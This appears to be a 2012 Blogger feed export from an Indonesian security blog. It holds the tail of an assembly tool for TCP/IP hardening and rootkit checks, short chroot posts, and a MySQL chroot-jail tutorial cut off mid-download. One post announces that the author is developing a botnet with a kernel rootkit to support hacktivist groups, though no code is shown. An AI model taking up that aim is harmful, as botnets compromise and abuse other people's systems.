/&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x34767069&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;4vpi&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x2e74656e &amp;nbsp;&amp;nbsp; &amp;nbsp;; .ten&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; esi,esp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; edx&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; 0x772d ;w-&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; ecx,esp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; edx&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp; 0x6c746373&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp; 0x79732f6e &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp; 0x6962732f&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; ebx,esp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; edx&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; esi&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; ecx&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; ebx&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; ecx,esp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;int&amp;nbsp;&amp;nbsp;&amp;nbsp; 80h&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor eax,eax &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ebx,ebx &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ecx,ecx &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor edx,edx&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov esp,ebp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;pop ebp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;jmp long _herosvh_out&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_herosvh_jmpmania:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push ebp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ebp, esp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;jmp _herosvh_start2&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov esp,ebp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;pop ebp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_herosvh_start:&lt;br /&gt;&lt;br /&gt;push ebp&lt;br /&gt;&lt;br /&gt;mov ebp,esp&lt;br /&gt;&lt;br /&gt;call (_herosvh_banner)&lt;br /&gt;&lt;br /&gt;jmp _herosvh_pr3p4r3_0pt&lt;br /&gt;&lt;br /&gt;mov esp,ebp&lt;br /&gt;&lt;br /&gt;pop ebp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_herosvh_start2:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push ebp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ebp, esp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,m3nu1&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov edx,pjg_m3nu1&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call (_herosvh_writeln)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,m3nu2&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov edx,pjg_m3nu2&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call (_herosvh_writeln)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,m3nu3&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov edx,pjg_m3nu3&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call (_herosvh_writeln)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,m3nu5&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov edx,pjg_m3nu5&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call (_herosvh_writeln)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,m3nu6&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov edx,pjg_m3nu6&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call (_herosvh_writeln)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,c0ns0l3&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov edx,pjg_c0ns0l3&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call (_herosvh_writeln)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp; eax,3&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp; ebx,0&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp; ecx,pilih_on_heap &amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;int&amp;nbsp;&amp;nbsp;&amp;nbsp; 80h&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push eax&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor eax,eax&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov eax, dword [pilih_on_heap] &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;cmp eax,'sys1'&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;je _herosvh_sysctl_w_net.ipv4.conf.all.rp_filter_1&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;cmp eax,'sys2'&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;je _herosvh_net.ipv4.tcp_syncookies_1&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;cmp eax,'sys3'&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;je _herosvh_net.ipv4.icmp_echo_ignore_broadcasts_1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;cmp eax,'rkc1'&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;je _herosvh_jynx&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;cmp eax,'rkc2'&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;je _herosvh_ipsecs&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;jmp _herosvh_out&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov esp,ebp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;pop ebp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_herosvh_out:&lt;br /&gt;&lt;br /&gt;nop &lt;br /&gt;&lt;br /&gt;mov eax,0x01&lt;br /&gt;&lt;br /&gt;int 80h&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-338628950173999722?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/338628950173999722'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/338628950173999722'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/03/herosvhasm-tcpip-stack-hardening-and.html' title='herosvh.asm TCP/IP Stack Hardening and Basic Rootkit Checker | dedicated for my friend'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-4I7t4lmxG58/T1YqiyYGNvI/AAAAAAAAA78/Ozme3_wYPdw/s72-c/botnet.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-9193501977062963837</id><published>2012-03-05T20:01:00.000-08:00</published><updated>2012-03-05T20:01:56.301-08:00</updated><title type='text'>chrooting nginx</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-LktosY0LG3E/T1WMHRS71FI/AAAAAAAAA70/tZwzSBCrnME/s1600/botnet.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-LktosY0LG3E/T1WMHRS71FI/AAAAAAAAA70/tZwzSBCrnME/s1600/botnet.jpg" width="720" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-9193501977062963837?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/9193501977062963837'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/9193501977062963837'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/03/chrooting-nginx.html' title='chrooting nginx'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-LktosY0LG3E/T1WMHRS71FI/AAAAAAAAA70/tZwzSBCrnME/s72-c/botnet.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-8534120893833001739</id><published>2012-03-05T19:44:00.002-08:00</published><updated>2012-03-05T19:47:39.462-08:00</updated><title type='text'>chrooting bind</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-hkWKgO8hAvk/T1WIw1A-zpI/AAAAAAAAA7s/gxJl5UO1qRI/s1600/botnet.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0"  src="http://4.bp.blogspot.com/-hkWKgO8hAvk/T1WIw1A-zpI/AAAAAAAAA7s/gxJl5UO1qRI/s1600/botnet.jpg" width="720" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-8534120893833001739?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/8534120893833001739'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/8534120893833001739'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/03/chrooting-bind.html' title='chrooting bind'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-hkWKgO8hAvk/T1WIw1A-zpI/AAAAAAAAA7s/gxJl5UO1qRI/s72-c/botnet.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-2797856061995456830</id><published>2012-03-05T13:06:00.005-08:00</published><updated>2012-03-05T13:55:28.555-08:00</updated><title type='text'>botnet development continue</title><content type='html'>this isnt as simple as they think, off course we've kernel space code also (i intent to use inline assembly), 70% written in perl for portability between nix, 10 % written using c , 10% written using python ,  10 - 15 % written in assembly and php, this isnt as simple as they think.planned to work on most nix including bsd (available also lkm rootkit included for linux and bsd) , development mission: support project mayhem, anti-sec, lulzsec and anonymous by providing a very good framework&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-jQwDCcU7FMY/T1UqBIa2v3I/AAAAAAAAA7c/gZkd8M8rXYM/s1600/botnet2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-jQwDCcU7FMY/T1UqBIa2v3I/AAAAAAAAA7c/gZkd8M8rXYM/s1600/botnet2.jpg" width="720" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-ATYsORUKWjA/T1UpvFA0OPI/AAAAAAAAA7U/VEpRyZEjGJM/s1600/botnet.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-ATYsORUKWjA/T1UpvFA0OPI/AAAAAAAAA7U/VEpRyZEjGJM/s1600/botnet.jpg" width="720" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-2797856061995456830?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/2797856061995456830'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/2797856061995456830'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/03/botnet-development-continue.html' title='botnet development continue'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-jQwDCcU7FMY/T1UqBIa2v3I/AAAAAAAAA7c/gZkd8M8rXYM/s72-c/botnet2.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-3414636797596973501</id><published>2012-03-04T10:55:00.000-08:00</published><updated>2012-03-04T10:55:34.033-08:00</updated><title type='text'>Preparing New Dedicated Server</title><content type='html'>well some skiddie messing around with some of my servers, they successfully made me postpone my botnet development, unfortunetly it's just temporary since i can make a stronger system&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-i2onNOvUnSM/T1O6CyrOTfI/AAAAAAAAA7M/mJNW4R7TQ4c/s1600/botnet.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0"  src="http://1.bp.blogspot.com/-i2onNOvUnSM/T1O6CyrOTfI/AAAAAAAAA7M/mJNW4R7TQ4c/s1600/botnet.jpg" width="720" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-3414636797596973501?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/3414636797596973501'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/3414636797596973501'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/03/preparing-new-dedicated-server.html' title='Preparing New Dedicated Server'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-i2onNOvUnSM/T1O6CyrOTfI/AAAAAAAAA7M/mJNW4R7TQ4c/s72-c/botnet.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-7850496906243479321</id><published>2012-03-04T09:41:00.000-08:00</published><updated>2012-03-04T09:41:07.595-08:00</updated><title type='text'>instalasi mysql di dalam chroot jail</title><content type='html'>by: ev1lut10n&lt;br /&gt;&lt;br /&gt;ekstrak mysql-5.156 lalu configure:&lt;br /&gt;&lt;br /&gt;=============&lt;br /&gt;[root@godad mysql-5.1.56]# ./configure --prefix=/usr/local/mysql --with-mysqld-user=mysql&amp;nbsp; --with-unix-socket-path=/tmp/mysql.sock --with-mysqld-ldflags=-all-static&lt;br /&gt;[root@godad mysql-5.1.56]# make &amp;amp;&amp;amp; make install&lt;br /&gt;==============&lt;br /&gt;&lt;br /&gt;siapkan my.cnf di /etc&lt;br /&gt;==========&lt;br /&gt;[root@godad mysql-5.1.56]# locate my-small.cnf &lt;br /&gt;/etc/my-small.cnf&lt;br /&gt;/root/mysql-5.1.56/support-files/my-small.cnf&lt;br /&gt;/root/mysql-5.1.56/support-files/my-small.cnf.sh&lt;br /&gt;/usr/local/mysql/share/mysql/my-small.cnf&lt;br /&gt;/usr/local/share/mysql/my-small.cnf&lt;br /&gt;/usr/share/doc/mysql-server-5.0.77/my-small.cnf&lt;br /&gt;/usr/share/mysql/my-small.cnf&lt;br /&gt;[root@godad mysql-5.1.56]# cp&amp;nbsp; /root/mysql-5.1.56/support-files/my-small.cnf&amp;nbsp; /etc/my.cnf&lt;br /&gt;[root@godad ~]# chown root:root /etc/my.cnf&lt;br /&gt;[root@godad ~]# chmod 644 /etc/my.cnf&lt;br /&gt;=============&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;edit my.cnf di bawah [mysqld] tambahkan line :&lt;br /&gt;===&lt;br /&gt;[mysqld]&lt;br /&gt;user =&amp;nbsp; mysql&lt;br /&gt;====&lt;br /&gt;&lt;br /&gt;lalu hapus line2 ini:&lt;br /&gt;====&lt;br /&gt;table_open_cache=4&lt;br /&gt;=====&lt;br /&gt;&lt;br /&gt;====&lt;br /&gt;buffer_size=64K&lt;br /&gt;====&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Selanjutnya install database mysql:&lt;br /&gt;====&lt;br /&gt;[root@godad mysql-5.1.56]# /usr/local/mysql/bin/mysql_install_db --user=mysql&lt;br /&gt;Installing MySQL system tables...&lt;br /&gt;120304&amp;nbsp; 1:53:10 [Warning] '--skip-locking' is deprecated and will be removed in a future release. Please use '--skip-external-locking' instead.&lt;br /&gt;OK&lt;br /&gt;Filling help tables...&lt;br /&gt;120304&amp;nbsp; 1:53:10 [Warning] '--skip-locking' is deprecated and will be removed in a future release. Please use '--skip-external-locking' instead.&lt;br /&gt;OK&lt;br /&gt;&lt;br /&gt;To start mysqld at boot time you have to copy&lt;br /&gt;support-files/mysql.server to the right place for your system&lt;br /&gt;&lt;br /&gt;PLEASE REMEMBER TO SET A PASSWORD FOR THE MySQL root USER !&lt;br /&gt;To do so, start the server, then issue the following commands:&lt;br /&gt;&lt;br /&gt;/usr/local/bin/mysqladmin -u root password 'new-password'&lt;br /&gt;/usr/local/bin/mysqladmin -u root -h localhost password 'new-password'&lt;br /&gt;&lt;br /&gt;Alternatively you can run:&lt;br /&gt;/usr/local/bin/mysql_secure_installation&lt;br /&gt;&lt;br /&gt;which will also give you the option of removing the test&lt;br /&gt;databases and anonymous user created by default.&amp;nbsp; This is&lt;br /&gt;strongly recommended for production servers.&lt;br /&gt;&lt;br /&gt;See the manual for more instructions.&lt;br /&gt;&lt;br /&gt;You can start the MySQL daemon with:&lt;br /&gt;cd /usr/local ; /usr/local/bin/mysqld_safe &amp;amp;&lt;br /&gt;&lt;br /&gt;You can test the MySQL daemon with mysql-test-run.pl&lt;br /&gt;cd /usr/local/mysql-test ; perl mysql-test-run.pl&lt;br /&gt;&lt;br /&gt;Please report any problems with the /usr/local/bin/mysqlbug script!&lt;br /&gt;&lt;br /&gt;========&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;untuk menginstall mysql di dalam chroot matikan daemon mysql:&lt;br /&gt;=====&lt;br /&gt;[root@godad mysql-5.1.56]# /usr/local/mysql/bin/mysqladmin -u root shutdown&lt;br /&gt;&lt;br /&gt;=====&lt;br /&gt;&lt;br /&gt;[Chrooting mysql]&lt;br /&gt;&lt;br /&gt;persiapkan struktur direktori untuk chroot mysql di /chroot/mysql:&lt;br /&gt;====&lt;br /&gt;[root@godad mysql-5.1.56]# mkdir -p /chroot/mysql/dev /chroot/mysql/etc /chroot/mysql/tmp /chroot/mysql/var/tmp /chroot/mysql/usr/local/mysql/libexec /chroot/mysql/usr/local/mysql/share/mysql/english&lt;br /&gt;========&lt;br /&gt;&lt;br /&gt;lalu kopikan file2 yang diperlukan ke direktori chroot:&lt;br /&gt;===========&lt;br /&gt;[root@godad mysql-5.1.56]# chown -R root:sys /chroot/mysql&lt;br /&gt;[root@godad mysql-5.1.56]# chmod -R 755 /chroot/mysql&lt;br /&gt;[root@godad mysql-5.1.56]# chmod 1777 /chroot/mysql/tmp&lt;br /&gt;[root@godad mysql-5.1.56]# cp /etc/hosts /chroot/mysql/etc/&lt;br /&gt;[root@godad mysql-5.1.56]# cp /etc/host.conf /chroot/mysql/etc/&lt;br /&gt;[root@godad mysql-5.1.56]# cp /etc/resolv.conf /chroot/mysql/etc/&lt;br /&gt;[root@godad mysql-5.1.56]# cp /etc/group /chroot/mysql/etc/&lt;br /&gt;[root@godad mysql-5.1.56]# cd /usr/local;tar czvf mysql.tgz mysql&lt;br /&gt;[root@godad mysql-5.1.56]# cp mysql.tgz /chroot/mysql/usr/local&lt;br /&gt;[root@godad mysql-5.1.56]# cd /chroot/mysql/usr/local&lt;br /&gt;[root@godad local]# tar zxvf mysql.tgz&lt;br /&gt;[root@godad local]# mknod /chroot/mysql/dev/null c 2 2&lt;br /&gt;[root@godad local]# chown root:sys /chroot/mysql/dev/null&lt;br /&gt;[root@godad local]# chmod 666 /chroot/mysql/dev/null&lt;br /&gt;====&lt;br /&gt;&lt;br /&gt;selanjutnya edit shell dan home direktori mysql :&lt;br /&gt;=========&lt;br /&gt;[root@godad local]# cat /etc/passwd | grep mysql&lt;br /&gt;mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash&lt;br /&gt;[root@godad local]# nano /etc/passwd&lt;br /&gt;[root@godad local]# cat /etc/passwd | grep mysql&lt;br /&gt;mysql:x:27:27:MySQL Server:/dev/null:/bin/false&lt;br /&gt;[root@godad local]# cp /etc/passwd /chroot/mysql/etc&lt;br /&gt;[root@godad local]# cp /etc/passwd /chroot/mysql/etc/passwords&lt;br /&gt;[root@godad local]# cp /etc/passwd /chroot/mysql/etc/passwd.bak&lt;br /&gt;[root@godad local]# cp /etc/passwd /chroot/mysql/etc/~passwd&lt;br /&gt;[root@godad local]# ln /chroot/mysql/tmp/mysql.sock /chroot/nginx/tmp&lt;br /&gt;=========&lt;br /&gt;&lt;br /&gt;siapakan init skrip:&lt;br /&gt;===&lt;br /&gt;[root@godad init.d]# nano mysqld_chroot&lt;br /&gt;[root@godad init.d]# chmod +s mysqld_chroot&lt;br /&gt;=====&lt;br /&gt;&lt;br /&gt;install chrootuid:&lt;br /&gt;====&lt;br /&gt;[root@godad ~]# wget&amp;nbsp;&amp;nbsp; ftp://ftp.porcupine.org/pub/security/chrootuid1.3.tar.gz&lt;br /&gt;--2012-03-04 02:30:16--&amp;nbsp; ftp://ftp.porcupine.org/pub/security/chrootuid1.3.tar.gz&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; =&amp;gt; `chrootuid1.3.tar.gz'&lt;br /&gt;Resolving ftp.porcupine.org... 168.100.185.123&lt;br /&gt;Connecting to ftp.porcupine.org|168.100.185.123|:21... connected.&lt;br /&gt;Logging in as anonymous ... Logged in!&lt;br /&gt;==&amp;gt; SYST ... done.&amp;nbsp;&amp;nbsp;&amp;nbsp; ==&amp;gt; PWD ... done.&lt;br /&gt;==&amp;gt; TYPE I ... done.&amp;nbsp; ==&amp;gt; CWD /pub/security ... done.&lt;br /&gt;==&amp;gt; SIZE chrootuid1.3.tar.gz ... 5439&lt;br 